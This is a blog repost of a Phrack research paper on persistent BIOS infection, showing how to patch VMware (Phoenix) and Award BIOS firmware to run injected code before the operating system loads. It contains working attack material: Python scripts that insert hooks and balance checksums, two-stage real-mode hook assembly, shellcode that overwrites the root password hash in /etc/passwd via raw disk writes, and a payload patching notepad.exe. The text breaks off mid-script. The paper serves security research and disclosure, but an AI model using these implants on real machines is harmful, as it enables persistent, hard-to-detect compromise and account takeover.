Friday, December 27, 2013

BIOS Basics


				==Phrack Inc.==    		Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11    |=-----------------------------------------------------------------------=|  |=--------------------=[  Persistent BIOS Infection   ]=-----------------=|  |=-----------------=[ "The early bird catches the worm" ]=---------------=|  |=-----------------------------------------------------------------------=|  |=---------------=[  .aLS - anibal.sacco@coresecurity.com  ]=------------=|  |=---------------=[   Alfredo - alfredo@coresecurity.com   ]=------------=|  |=-----------------------------------------------------------------------=|  |=---------------------------=[ June 1 2009 ]=---------------------------=|  |=-----------------------------------------------------------------------=|      ------[  Index      0 - Foreword      1 - Introduction      1.1 - Paper structure      2 - BIOS basics      2.1 - BIOS introduction          2.1.1 - Hardware          2.1.2 - How it works?       2.2 - Firmware file structure      2.3 - Update/Flashing process            3 - BIOS Infection  	3.0 - Initial setup  	3.1 - VMWare's (Phoenix) BIOS modification          3.1.1 - Dumping the VMWare BIOS          3.1.2 - Setting up VMWARE to load an alternate BIOS          3.1.3 - Unpacking the firmware  		3.1.4 - Modification  		3.1.5 - Payload  			3.1.5.1 - The Ready Signal  		3.1.6 - OptionROM        3.2 - Real (Award) BIOS modification  		3.2.1 - Dumping the real BIOS firmware  		3.2.2 - Modification          3.2.3 - Payload      4 - BIOS32 (Direct kernel infection)  		    5 - Future and other uses    	5.1 - SMM!      6 - Greetz      7 - References      8 - Sources - Implementation details        ------[ 0.- Foreword      Dear reader, if you're here we can assume that you already know what   the BIOS is and how it works. Or, at least, you have a general   picture of what the BIOS does, and its importance for the normal   operation of a computer. Based on that, we will briefly explain some   basic concepts to get you into context and then we'll jump to the,   more relevant, technical stuff.      ------[ 1.- Introduction        Over the years, a lot has been said about this topic. But, apart of   the old Chernobyl virus, which just zeroed the BIOS if you   motherboard was one of the supported, or some modifications with   modding purposes (that were a very valuable source of data, btw)   like Pinczakko's work, we wouldnt be able to find any public   implementation of a working, generical and malicious BIOS infection.        Mostly, the people tends to think that this is a very researched,   old and already mitigated technique. It is sometimes even confused   whith the obsolet MBR viruses. But, is our intention to show that   this kind of attacks are possible and could be, with the aproppiated   OS detection and infection techniques, a very trustable and persistent  rootkit residing just inside of the BIOS Firmware.        In this paper we will show a generic method to inject code into   unsigned BIOS firmwares. This technique will let us embedd our own   code into the BIOS firmware so that it will get executed just before  the loading of the operating system.         We will also demonstrate how having complete control of the hard   drives allows us to leverage true persistency by deploying fully   functional code directly into a windows process or just by modifying   sensitive OS data in a Linux box.        ---[ 1.1 - Paper structure      The main idea of this paper is to show how the BIOS firmware can be  modified and used as a persistence method after a successful   intrusion.  		  So, we will start by doing a little introduction and then we will   focus the paper on the proof of concept code, splitting the paper   in two main sections:  		    - VMWare's (Phoenix) BIOS modification  		    - Real (Award) BIOS modification  		  In each one we will explain the payloads to show how the attack is   done, and then we'll jump directly to see the payload code.    		  ------[ 2.- BIOS Basics      ---[2.1 - BIOS introduction      From Wikipedia [1]:      "The BIOS is boot firmware, designed to be the first code run by a       PC when powered on. The initial function of the BIOS is to identify      test, and initialize system devices such as the video display card,      hard disk, and floppy disk and other hardware. This is to prepare       the machine into a known state, so that software stored on       compatible media can be loaded, executed, and given control of the       PC.[3] This process is known as booting, or booting up, which is       short for bootstrapping."        "...provide a small library of basic input/output functions that       can be called to operate and control the peripherals such as the       keyboard, text display functions and so forth. In the IBM PC and       AT, certain peripheral cards such as hard-drive controllers and       video display adapters carried their own BIOS extension ROM, which      provided additional functionality. Operating systems and executive      software, designed to supersede this basic firmware functionality,      will provide replacement software interfaces to applications.            ---[2.1.1 - Hardware                 Back in the 80's the BIOS firmware was contained in ROM or PROM   chips, which could not be altered in any way, but nowadays, this   firmware is stored in an EEPROM (Electrically Erasable   Programmable Read-Only Memory). This kind of memory allows the user  to reflash it, allowing the vendor to offer firmware updates in   order to fix bugs, support new hardware and to add new   functionality.                ---[2.1.2 - How it works?      The BIOS has a very important role in the functioning of a   computer.  It should be always available as it holds the first instruction  executed by the CPU when it is turned on. This is why it is stored  in a ROM.            The first module of the BIOS is called Bootblock, and it's in   charge of the POST (Power-on self-test) and Emergency boot   procedures. POST is the common term for a computer, router or   printer's pre-boot sequence. It has to test and initialize almost   all the different hardware components in the system to make sure   everything is working properly.            The modern BIOS has a modular structure, which means that there are  several modules integrated on the same firmware, each one in charge  of a different specific task; from hardware initialization to   security measures.            Each module is compressed, therefore there is a decompression   routine in charge of the decompression and validation of the   others modules that will be subsequently executed.      After decompression, some other hardware is initialized, such as   PCI Roms (if needed) and at the end, it reads the sector 0 of the  hard drive (MBR) looking for a boot loader to start loading the   Operating System.                      ---[2.2 - Firmware file structure            As we said before, the BIOS firmware has a modular structure. When   stored in a normal plain file, it is composed of several LZH  compressed modules, each of them containing an 8 bit checksum.            However, not all the modules are compressed, a few modules like the  Bootblock and the Decompression routine are obviously uncompressed   because they are a fundamental piece of the booting process and   must perform the decompression of the other modules. Further,   we will see why this is so convenient for our purposes.            Here we have the output of Phnxdeco (available in the Debian   repositories), an open source tool to parse and analyze the Phoenix  BIOS Firmware ROMs (that we'll going to extract at 3.1.1):      +-------------------------------------------------------------------------+  | Class.Instance (Name)     Packed --->  Expanded      Compression  Offse |  +-------------------------------------------------------------------------+    B.03 (    BIOSCODE)   06DAF (28079) => 093F0 ( 37872)  LZINT ( 74%)  446DFh  B.02 (    BIOSCODE)   05B87 (23431) => 087A4 ( 34724)  LZINT ( 67%)  4B4A9h  B.01 (    BIOSCODE)   05A36 (23094) => 080E0 ( 32992)  LZINT ( 69%)  5104Bh  C.00 (      UPDATE)   03010 (12304) => 03010 ( 12304)   NONE (100%)  5CFDFh  X.01 (     ROMEXEC)   01110 (04368) => 01110 (  4368)   NONE (100%)  6000Ah  T.00 (    TEMPLATE)   02476 (09334) => 055E0 ( 21984)  LZINT ( 42%)  63D78h  S.00 (     STRINGS)   020AC (08364) => 047EA ( 18410)  LZINT ( 45%)  66209h  E.00 (       SETUP)   03AE6 (15078) => 09058 ( 36952)  LZINT ( 40%)  682D0h  M.00 (       MISER)   03095 (12437) => 046D0 ( 18128)  LZINT ( 68%)  6BDD1h  L.01 (        LOGO)   01A23 (06691) => 246B2 (149170)  LZINT (  4%)  6EE81h  L.00 (        LOGO)   00500 (01280) => 03752 ( 14162)  LZINT (  9%)  708BFh  X.00 (     ROMEXEC)   06A6C (27244) => 06A6C ( 27244)   NONE (100%)  70DDAh  B.00 (    BIOSCODE)   001DD (00477) => 0D740 ( 55104)  LZINT (  0%)  77862h  *.00 (      TCPA_*)   00004 (00004) => 00004 (   004)   NONE (100%)  77A5Ah  D.00 (     DISPLAY)   00AF1 (02801) => 00FE0 (  4064)  LZINT ( 68%)  77A79h  G.00 (  DECOMPCODE)   006D6 (01750) => 006D6 (  1750)   NONE (100%)  78585h  A.01 (        ACPI)   0005B (00091) => 00074 (   116)  LZINT ( 78%)  78C76h  A.00 (        ACPI)   012FE (04862) => 0437C ( 17276)  LZINT ( 28%)  78CECh  B.00 (    BIOSCODE)   00BD0 (03024) => 00BD0 (  3024)   NONE (100%)  7D6AAh      We can see here the different parts of the Firmware file,   containing the DECOMPCODE section, where the decompression routine  is located, as well as the other not-covered-in-this-paper   sections.            ---[2.3 - Update/Flashing process        The BIOS software is not so different from any other software.  It's prone to bugs in the same way as other software is.   Newer versions come out adding support for new hardware, features   and fixing bugs, etc. But the flashing process could be very   dangerous on a real machine. The BIOS is a fundamental component   of the computer. It's the first piece of code executed when a   machine is turned on. This is why we have to be very carefully when  doing this kind of things. A failed BIOS update can -and probably  will- leave the machine unresponsive. And that just sucks.  	  That is why it's so important to have some testing platform, such   as VMWare, at least for a first approach, because, as we'll see,  there are a lot of differences between the vmware version vs. the  real hardware version.    ------[ 3.- BIOS Infection    ---[3.0 - Initial setup    ---[3.1 - VMWare's (Phoenix) BIOS modification    First, we have to obtain a valid VMWARE BIOS firmware to work on.             In order to read the EEPROM where the BIOS firmware is stored we   need to run some code in kernel mode to let us send and receive   data directly to the southbridge through the IO Ports. To do this,  we also need to know some specific data about the current hardware.  This data is usually provided by the vendor. Furthermore, almost   all motherboard vendors provide some tool to update the BIOS, and   very often, they have an option to backup or dump the actual   firmware.    In VMWare we can't use this kind of tools, because the emulated   hardware doesn't have the same functionality as the real hardware.  This makes sense... why would someone would like to update the  VMWare BIOS from inside...?      ---[3.1.1 - Dumping the VMWare BIOS            When we started this, it was really helpful to have the embedded   gdb server that VMWare offers. This let us debug and understand   what was happening.   So in order to patch and modify some little pieces of code to start  testing, we used some random byte arrays as patterns to find the  BIOS in memory.   Doing this we found that there is a little section of almost 256kb  in vmware-vmx, the main vmware executable, called .bios440   ( that in our vmware version is located between the file offset  0x6276c7-0x65B994 ) that contains the whole BIOS firmware, in the   same way as it is contained in a normal file ready to flash.  	  You can use objdump to see the sections of the file:   		  objdump -h vmware-vmx            And you can dump it to a file using the objcopy tool:  		  objcopy -j .bios440 -O binary --set-section-flags .bios440=a \   vmware-vmx bios440.rom.zl  		  Umm... this means that... if we have root privileges in the victim  machine, we could use our amazing power to modify the vmware-vmx   executable, inserting our own infected bios and it will be   executed each time a vmware starts, for every vmware of the   computer. Sweet!            But, there are simpler ways to accomplish this task. We are going   to modify it a lot of times and it is not going to work most of   the times so.. the simpler, the better.    ---[3.1.2 - Setting up VMWARE to load an alternate BIOS    We found that VMWare offers a very practical way to let the user   provide an specific BIOS firmware file directly through the .VMX   configuration file.            This not-so-known tag is called "bios440.filename" and it let us   avoid using VMWare's built-in BIOS and instead allows us to   specify a BIOS file to use.            You have to add this line in your .VMX file:            	bios440.filename = "path/to/file/bios.rom"            And, voila!, now you have another BIOS firmware running in your VM,  and in 	combination with:  				  	debugStub.listen.guest32 = "TRUE" or  	debugStub.listen.guest64 = "TRUE"   		  that will leave the VMWare's gdb stub waiting for your connection   on localhost on port 8832. You will end up with an excellent -and   completely debuggable- research scenery.  Nice huh?    Other important hidden tags that can be useful to define are:  		          bios.bootDelay = "3000"                  # To delay the boot X                                                      miliseconds          debugStub.hideBreakpoints = "TRUE"       # Allows gdb breakpoints                                                      to work          debugStub.listen.guest32.remote = "TRUE" # For debugging from                                                      another machine (32bit)          debugStub.listen.guest64.remote = "TRUE" # For debugging from                                                      another machine (64bit)          monitor.debugOnStartGuest32 = "TRUE"     # This will halt the VM                                                      at the very first                                                      instruction at 0xFFFF0            ---[3.1.3 - Unpacking the firmware    As we mentioned before, some of the modules are compressed  with an LZH variation. There are a few available tools to  extract and decompress each individual module from the  Firmware file. The most used are Phnxdeco and Awardeco (two  excellent linux GPL tools) together with Phoenix BIOS Editor  and Award BIOS editor (some non GPL tools for windows).            You can use Phoenix BIOS editor over linux using wine if you  want.  It will extract all the modules in a /temp directory  inside the Phoenix BIOS editor ready to be open with your  preferred disassembler.  		  The great news about Phoenix BIOS Editor is that it can also  rebuild the main firmware file. It can recompress and   integrate all the different decompressed modules to let it   just as it was at the beggining.  The only thing is that it was done for older Phoenix BIOSes,   and it misses the checksum so we will have to do it by   ourselves as we'll see at 3.2.2.1    Some of these tasks are done by isolated tools that can be  invoked directly from a command line, which is very practical  in order to automate the process with simple scripts.  		            ---[3.1.4 - Modification    So, here we are. We have all the modules unpacked, and the  possibility of modifying them, and then rebuild them in a  fully working BIOS flash update.  		  The first thing to deal with now is 'where to patch'. We can  place a hook in almost any place to get our code executed but  we have to think things through before deciding on where to  patch.  		  At the beginning we thought about hooking the first  instruction executed by the CPU, a jump at 0xF000:FFF0. It  seemed to be the best option because it is always in the same  place, and is easy to find but we have to take into  consideration the execution context. To have our code running  there should imply doing all the hardware initialization by  ourselves (DRAM, Northbridge, Cache, PCI, etc.)   		  For example, if we want to do things like accessing the hard  drive we need to be sure that when our code gets executed it  already has access to the hard drive.   		  For this reason, and because it doesn't change between  different versions, we've chosen to hook the decompression  routine. It is also very easy to find by looking for a  pattern. It is uncompressed, and is called many times during  the BIOS boot sequence letting us check if all the needed  services are available before doing the real stuff.    Here we have a dump script to quickly extract the firmware  modules, assemble the payloads, inject it, and reassemble the  modified firmware file.  		  PREPARE.EXE and CATENATE.EXE are propietary tools to build  phoenix firmware that you can find inside the Phoenix BIOS  Editor and packaged with other flashing tools.            In later versions of this script this tools arent needed anymore. (as  seen at 3.2.2.1)            #!/usr/bin/python import os,struct    #--------------------------- Decomp processing ------------------------------  #assemble the whole code to inject  os.system('nasm ./decomphook.asm')  decomphook = open('decomphook','rb').read()  print "Leido hook: %d bytes" % len(decomphook)  minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430    #Load the decompression rom  decorom = open('DECOMPC0.ROM.orig','rb').read()    #Add the hook  hookoffset=0x23  decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]    #Add the shellcode  decorom+="\x90"*100+decomphook  decorom=decorom+'\x90'*10    #recalculate the ROM size  decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]    #Save the patched decompression rom  out=open('DECOMPC0.ROM','wb')  out.write(decorom)  out.close()    #Compile   print "Prepare..."  os.system('./PREPARE.EXE ./ROM.SCR.ORIG')  print "Catenate..."  os.system('./CATENATE.EXE ./ROM.SCR.ORIG')  os.system('rm *.MOD')  		  ---[3.1.5 - Payload    Before talking about the payload, we have to resolve *where*  are we going to store our payload, and this is not a trivial  task. We found that there is a lot of padding space at the end  of the decompression routine that, when allocated, will be  used as a buffer to hold the decompressed code. Trashing in  this way, any code that we can store there. This adds a bit of  complexity to the payload, because it makes us split the  shellcode in two stages.    The first one gets executed by setting a very typical hook in  the prolog of the decompression routine. A simple relative  call that redirects the execution flow to our code and moves  the second stage to a safe hardcoded place that we know  remains unused during the whole boot process. Then, updates  the hook making it point to the new address and executes the  instructions smashed by the original call  		                  __________________________________                  |                                  |                  |              HOOK                +->---.                  |..................................|     |             .--->|                                  |     |             |    |                                  |     |             |    |       DECOMPRESSION BLOCK        |     |             |    |                                  |     |             |    |                                  |     |             |    |__________________________________|     |             |    |                                  |<----'             |    |       First Stage Payload        |             |    |       (Moves second stage        |             |    |         to a safe place          |             |    |       and updates the hook)      |             |    |                                  |             |    |..................................|             `--<-+       Code smashed by hook       |                  |__________________________________|                  |                                  |                  |       Second Stage Payload       |                  |                                  |                  |                                  |                  |__________________________________|            Lets see the code:            	|-----------------------------------------------------------|    BITS 16    ;Extent to search (in 64K sectors, aprox 32 MB)  %define EXTENT 10     start_mover:       ;save regs     ;jmp start_mover      pusha      pushf       ; set dst params to move the shellcode      xor ax, ax      xor di, di      xor si, si      push cs      pop ds      mov es, ax ; seg_dst      mov di, 0x8000 ; off_dst      mov cx, 0xff ; code_size       ; get_eip to have the 'source' address      call b  b:      pop si      add si, 0x25  (Offset needed to reach the second stage payload)      rep movsw        mov ax, word [esp+0x12] ; get the caller address to patch the original hook      sub ax, 4      mov word [eax], 0x8000 ; new_hook offset      mov word [eax+2], 0x0000 ; new_hook segment        ; restore saved regs      popf      popa        ; execute code smashed by 'call far'      ;mov es,ax      mov bx,es      mov fs,bx      mov ds,ax      retf  		  		      ;Here goes a large nopsled and next, the second stage payload  		  	|------------------------------------------------------------|    The second stage, now residing in an unused space, has got to  have some ready signal to know if the services that we want to  use are available..  		  ---[3.1.5.1 - The Ready Signal      In the VMWare we've seen that when our second-stage payload is called,  and the IVT is already initialized, we have all we need to do our  stuff.  Based on that we chose to use the IVT initialization as our  ready signal.  This is very simple because it's always mapped at  0000:0000. Every time the shellcode gets executed first checks if the  IVT is initialized with valid pointers, if it is the shellcode is  executed, if not it returns without doing anything.              ---[3.1.5.1 - The Real stuff      Now we have our code executed and we know that we have all the  services we need so what are we going to do? We can't interact with  the OS from here.             In this moment the operating system is just a char array sitting on  the disk. But hey! wait, we have access to the disk through the int  13h (Low Level Disk Services).. we can modify it in any way we want!.  Ok, let's do it.            In a real malicious implementation, you would like to code some sort  of basic driver to correctly parse the different filesystem  structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?)  but for this paper, just as Proof of Concept, we will use the Int 13h  to sequentially read the disk in raw mode.  We will look for a pattern  in a very stupid way and it will work, but doing what we said before,  in a common scenery, will be possible to modify, add and delete any  desired file of the disk allowing an attacker to drop driver modules,  infect files, disable the antivirus or anti rootkits, etc.    This is the shellcode that we've used to walk over the whole  disk matching the pattern: "root:$" in order to find the root  entry of the /etc/passwd file.    Then, we replace the root hash with our own hash, setting the  password "root" for the root user.    -------------------------------------------------------------  ; The shellcode doesn't have any type of optimization, we tried to keep it   ; simple, 'for educational purposes'     ; 16 bit shellcode  ; use LBA disk access to change root password to 'root'    BITS 16	  	push es  	push ds  	pushad  	pushf    	; Get code address  	call gca  gca:    pop bx    	; construct DAP  	push cs  	pop ds  	mov si,bx  	add si,0x1e0 ; DAP 0x1e0 from code  	mov cx,bx  	add cx,0x200 ; Buffer pointer 0x200 from code  	mov byte [si],16 ;size of SAP  	inc si  	mov byte [si],0  ;reserved  	inc si  	mov byte [si],1  ;number of sectors  	inc si  	mov byte [si],0  ;unused  	inc si  	mov word [si],cx ;buffer segment  	add si,2  	mov word [si],ds;buffer offset  	add si,2  	mov word [si],0 ; sector number  	add si,2  	mov word [si],0 ; sector number  	add si,2  	mov word [si],0 ; sector number  	add si,2  	mov word [si],0 ; sector number    	mov di,0  	mov si,0  mainloop:  	push di  	push si  		          	;-------- Inc sector number  	mov cx,3  	mov si,bx  	add si,0x1e8  loopinc:  	mov ax,word [si]  	inc ax  	mov word [si],ax  	cmp ax,0  	jne incend  	add si,2  	loop loopinc  incend:  	;-------- LBA extended read sector  	mov ah,0x42 ; call number  	mov dl,0x80 ; drive number 0x80=first hd  	mov si,bx  	add si,0x1e0  	int 0x13  	jc mainend  	nop  	nop  	nop    	;-------- Search for 'root'  	mov di,bx  	add di,0x200 ; pointer to buffer  	mov cx,0x200 ; 512 bytes per sector  searchloop:  	cmp word [di],'ro'  	jne notfound  	cmp word [di+2],'ot'  	jne notfound  	cmp word [di+4],':$'  	jne notfound  	jmp found ; root found!  notfound:  	inc di  	loop searchloop    endSearch:  	pop si  	pop di    	inc di  	cmp di,0  	jne mainloop  	inc si  	cmp si,3  	jne mainloop    mainend:  	popf  	popad  	pop ds  	pop es  	int 3  found:  ;replace password with:   ;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi:  ;Yes we could've used rep movsb, but we kinda suck.  	mov word[di+6],'2a'  	mov word[di+8],'$0'  	mov word[di+10],'8$'  	mov word[di+12],'Gr'  	mov word[di+14],'rD'  	mov word[di+16],'Ve'  	mov word[di+18],'DJ'  	mov word[di+20],'9A'  	mov word[di+22],'XX'  	mov word[di+24],'lX'  	mov word[di+26],'Oo'  	mov word[di+28],'bf'  	mov word[di+30],'fO'  	mov word[di+32],'kL'  	mov word[di+34],'On'  	mov word[di+36],'Fy'  	mov word[di+38],'Rj'  	mov word[di+40],'k2'  	mov word[di+42],'N0'  	mov word[di+44],'/4'  	mov word[di+46],'S8'  	mov word[di+48],'Yu'  	mov word[di+52],'p3'  	mov word[di+54],'3s'  	mov word[di+56],'D4'  	mov word[di+58],'3w'  	mov word[di+60],'SH'  	mov word[di+62],'Fz'  	mov word[di+64],'i:'  	;-------- LBA extended write sector  	mov ah,0x43 ; call number  	mov al,0 ; no verify   	mov dl,0x80 ; drive number 0x80=first hd  	mov si,bx  	add si,0x1e0  	int 0x13  	jmp mainend             This other is basically the same payload, but in this case we walk  over the whole disk trying to match a pattern inside notepad.exe, and  then we inject a piece of code with a simple call to MessaBoxA and  ExitProcess to finish it gracefully.       		hook_start:  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  			nop  		        ;jmp hook_start  		        ;mov bx,es  		        ;mov fs,bx  		        ;mov ds,ax  		        ;retf    		        pusha  		        pushf  		        xor di,di  			mov ds,di  			; check to see if int 19 is initialized  			cmp byte [0x19*4],0x00   			jne ifint    		noint:  		        ;jmp noint ; loop to debug  		        popf  		        popa  		        ;mov es, ax  		        mov bx, es  			mov fs, bx  			mov ds, ax  		        retf      		ifint:  		        ;jmp ifint ; loop to debug  			cmp byte [0x19*4],0x46  		        je noint    		;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;    		initShellcode:  		    ;jmp initShellcode ; DEBUG  		    cli  		    push es  		    push ds  		    pushad  		    pushf    		    ; Get code address  		    call gca    		gca:  		    pop bx  		    ;---------- Set screen mode  		    mov ax,0x0003  		    int 0x10  		    ;---------- construct DAP  		    push cs  		    pop ds  		    mov si,bx  		    add si,0x2e0 ; DAP 0x2e0 from code  		    mov cx,bx  		    add cx,0x300 ; Buffer pointer 0x300 from code  		    mov byte [si],16 ;size of SAP  		    inc si  		    mov byte [si],0  ;reserved  		    inc si  		    mov byte [si],1  ;number of sectors  		    inc si  		    mov byte [si],0  ;unused  		    inc si  		    mov word [si],cx ;buffer segment  		    add si,2  		    mov word [si],ds;buffer offset  		    add si,2  		    mov word [si],0 ; sector number  		    add si,2  		    mov word [si],0 ; sector number  		    add si,2  		    mov word [si],0 ; sector number  		    add si,2  		    mov word [si],0 ; sector number    		    mov di,0  		    mov si,0    		    ;-------- Function 41h: Check Extensions  		    push bx  		    mov ah,0x41 ; call number  		    mov bx,0x55aa;  		    mov dl,0x80 ; drive number 0x80=first hd  		    int 0x13  		    pop bx  		    jc mainend_near  		    ;-------- Function 00h: Reset Disk System  		    mov ah, 0x00  		    int 0x13  		    jc mainend_near  		    jmp mainloop  		mainend_near:  		    jmp mainend  		mainloop:  		    cmp di,0  		    jne nochar  		    ;------- progress bar (ABCDE....)  		    push bx  		    mov ax,si  		    mov ah,0x0e  		    add al,0x41  		    mov bx,0  		    int 0x10  		    pop bx  		nochar:  		    push di  		    push si  		    ;jmp incend    ;  		    ;-------- Inc sector number  		    mov cx,3  		    mov si,bx      ; bx = curr_pos   		    add si,0x2e8   ; +2e8 LBA Buffer    		loopinc:  		    mov ax,word [si]  		    inc ax  		    mov word [si],ax  		    cmp ax,0  		    jne incend  		    add si,2  		    loop loopinc    		incend:  		LBA_read:  		    ;jmp int_test  		    ;-------- LBA extended read sector  		    mov ah,0x42 ; call number  		    mov dl,0x80 ; drive number 0x80=first hd  		    mov si,bx  		    add si,0x2e0  		    int 0x13  		    jnc int13_no_err  		    ;-------- Write error character  		    push bx  		    mov ax,0x0e45  		    mov bx,0x0000  		    int 0x10  		    pop bx  		int13_no_err:  		    ;-------- Search for 'root'  		    mov di,bx  		    add di,0x300 ; pointer to buffer  		    mov cx,0x200 ; 512 bytes per sector    		searchloop:  		    cmp word [di],0x706a  		    jne notfound  		    cmp word [di+2],0x9868  		    jne notfound  		;debugme:  		;    je debugme  		    cmp word [di+4],0x0018  		    jne notfound  		    cmp word [di+6],0xe801    		    jne notfound  		    jmp found ; root found!      		notfound:  		    inc di  		    loop searchloop    		endSearch:  		    pop si  		    pop di    		    inc di  		    cmp di,0  		    jne mainloop  		    inc si  		    cmp si,EXTENT ;------------ 10x65535 sectors to read  		    jne mainloop  		    jmp mainend    		exit_error:    		    pop si  		    pop di    		mainend:  		    popf  		    popad  		    pop ds  		    pop es  		    sti    		    popf  		    popa  		    mov bx, es  		    mov fs, bx  		    mov ds, ax  		    retf    		writechar:  		    push bx  		    mov ah,0x0e  		    mov bx,0x0000  		    int 0x10  		    pop bx  		    ret  		found:  		    mov al,0x46  		    call writechar        		;mov word[di], 0xfeeb ; Infinite loop - Debug  		    mov word[di], 0x00be  		    mov word[di+2], 0x0100  		    mov word[di+4], 0xc700  		    mov word[di+6], 0x5006  		    mov word[di+8], 0x4e57  		    mov word[di+10], 0xc744  		    mov word[di+12], 0x0446  		    mov word[di+14], 0x2121  		    mov word[di+16], 0x0100  		    mov word[di+18], 0x016a  		    mov word[di+20], 0x006a  		    mov word[di+22], 0x6a56  		    mov word[di+24], 0xbe00  		    mov word[di+26], 0x050b  		    mov word[di+28], 0x77d8  		    mov word[di+30], 0xd6ff  		    mov word[di+32], 0x00be  		    mov word[di+34], 0x0000   		    mov word[di+36], 0x5600  		    mov word[di+38], 0xa2be  		    mov word[di+40], 0x81ca  		    mov word[di+42], 0xff7c  		    mov word[di+44], 0x90d6    		;-------- LBA extended write sector  		    mov ah,0x43 ; call number  		    mov al,0 ; no verify   		    mov dl,0x80 ; drive number 0x80=first hd  		    mov si,bx  		    add si,0x2e0  		    int 0x13  		    jmp notfound; continue searching  		    nop	  	   ---[3.2 - Real (Award) BIOS modification    VMWare turned to be an excellent BIOS research and development  platform.  But to complete this research, we have to attack a real  system.  For this modification we used a common motherboard (Asus  A7V8X-MX), with an Award-Phoenix 6.00 PG BIOS, a very popular version.    ---[3.2.1 - Dumping the real BIOS firmware    FLASH chips are fairly compatible, even interchangeable. But they are  connected to the motherboard in many different ways (PCI, ISA bridge,  etc.), and that makes reading them in a generic way a non-trivial  problem.  How can we make a generic rootkit if we can't even find a  way to reliably read a flash chip?  Of course, a hardware flash reader  is a solution, but at the time we didn't have one and is not really an  option if you want to remotely infect a BIOS without physical access.    So we started looking for software-based alternatives.  The first tool  that we found worked fine, which was the Flashrom utility from the  coreboot open-source project, see [COREBOOT] (Also available in the  Debian repositories).  It contains an extensive database of chips and  read/write methods. We found that it almost always works, even if you  have to manually specify the IC model, as it's not always  automatically detected.            $ flashrom -r mybios.rom    Generally, the command above is all that you need. The bios should be  in the mybios.rom file.    A trick that we learned is that if it says that it can't detect the  Chip, you should do a script to try every known chip. We have yet to  find BIOS that can't be read using this technique. Writing is slightly  more difficult, as Flashrom needs to correctly identify the IC to  allow writing to it. This limitation can by bypassed modifying the  source code but beware that you can fry your motherboard this way.    We also used flashrom as a generic way to upload the modified BIOS  back to the motherboard.    ---[3.2.2 - Modification    Once we have the BIOS image on our hard disk, we can start the process  of inserting the malicious payload.    When modifying a real bios, and in particular an award/phoenix BIOS, we  faced some big problems:         	1) Lack of documentation of the bios structure      	2) Lack of packing/unpacking tools         	3) No easy way to debug real hardware.    There are many free tools to manipulate BIOS, but as it always happen  with proprietary formats, we couldn't find one that worked with our  particular firmware.  We can cite the Linux awardeco and phnxdeco  utilities as a starting point, but they tend to fail on modern BIOS  versions.    Our plan to achieve execution was:         	1) We must insert arbitrary modifications (this implies the         	   knowledge of checksum positions and algorithms)         	2) A basic hook should be inserted on a generic, easy to         	   find portion of the BIOS.         	3) Once the generic hook is working, then a Shellcode could be          	   inserted.      ---[3.2.2.0 - Black Screen of Death    You have to know that you're going to trash a lot of BIOS chips in  this process.  But most BIOSes have a security mechanism to restore a  damaged firmware. RTFM (Read the friendly manual of the motherboard)    If this doesn't work, you can use the chip hot-swapping technique: You  boot with a working chip, then you hot-swap it with the damaged one,  and reflash. Of course, for this technique you will need to have  another working backup BIOS.    ---[3.2.2.1 - Changing one bit at time      Our initial attempts were unsuccessful and produced mostly unbootable  systems. Basically we ignored how many checksums the bios had, and you  must patch everyone of them or face the terrifying "BIOS CHECKSUM  ERROR" black screen of death.  The black screen of death got us  thinking, it says "CHECKSUM" so, it must be some kind of addition  compared to a number. And this kind of checks can be easily bypassed,  injecting a number at some point that will *compensate* the addition.  Isn't this the reason why CRC was invented after all?  It turns out  that all the checksums were only 8-bits, and by touching only one byte  at the end of the shellcode, all the checksums were compensated.  You  can find the very simple algorithm to do this on the attachments,  inside this python script:      	-------------------------------------------------------------  	modifBios.py    	#!/usr/bin/python  	import os,sys,math    	# Usage  	if len(sys.argv)<3:          	print "Modify and recalculate Award BIOS checksum"  	        print "Usage: %s <original bios> <assembly shellcode   		file>" % (sys.argv[0])          	exit(0)    	# assembly the file  	scasm = sys.argv[2]  	sccom = "%s.bin" % scasm  	os.system("nasm %s -o %s " % (scasm,sccom) )  	shellcode = open(sccom,'rb').read()  	shellcode = shellcode[0xb55:] # skip the NOPs  	os.unlink(sccom)  	print ("Shellcode lenght: %d" % len(shellcode))    	# Make a copy of the original BIOS  	modifname = "%s.modif" % sys.argv[1]  	origname = sys.argv[1]  	os.system("cp %s %s" % (origname,modifname) )    	#merge shellcode with original flash  	insertposition = 0x3af75  	modif = open(modifname,'rb').read()  	os.unlink(modifname)  	newbios=modif[:insertposition]  	newbios+=shellcode  	newbios+=modif[insertposition+len(shellcode):]  	modif=newbios  	#insert hook  	hookposition = 0x3a41d  	hook="\xe9\x55\x0b" # here is our hook,  			    # at the end of the bootblock  	newbios=modif[:hookposition]  	newbios+=hook  	newbios+=modif[hookposition+len(hook):]  	modif=newbios    	#read original flash  	orig  = open(sys.argv[1],'rb').read()  	  	# calculate original and modified checksum  	# Sorry, this script is not *that* generic  	# you will have to harvest these values  	# manually, but you can craft an automatic  	# one using pattern search.   	# These offsets are for the Asus A7V8X-MX  	# Revision 1007-001  	  	start_of_decomp_blk=0x3a400  	start_of_compensation=0x3affc  	end_of_decomp_blk=0x3b000  	  	ochksum=0 # original checksum  	mchksum=0 # modified checksum  	  	for i in range(start_of_decomp_blk,start_of_compensation):  		ochksum+=ord(orig[i])  		mchksum+=ord(modif[i])  	print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)  	  	# calculate difference    	chkdiff = (mchksum & 0xff) - (ochksum & 0xff)    	print "Diff : %08X" % chkdiff  	  	# balance the checksum  	newbios=modif[:start_of_compensation]  	newbios+=chr( (0x1FF-chkdiff) & 0xff )  	newbios+=modif[start_of_compensation+1:]  	  	mchksum=0 # modified checksum  	ochksum=0 # modified checksum  	for i in range(start_of_decomp_blk,end_of_decomp_blk):  		ochksum+=ord(orig[i])  		mchksum+=ord(newbios[i])  	print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)  	print "(Please check the last digit, must be the same in both checkums)"  	  	  	newbiosname=sys.argv[2]+".compensated"  	w=open(newbiosname,'wb')  	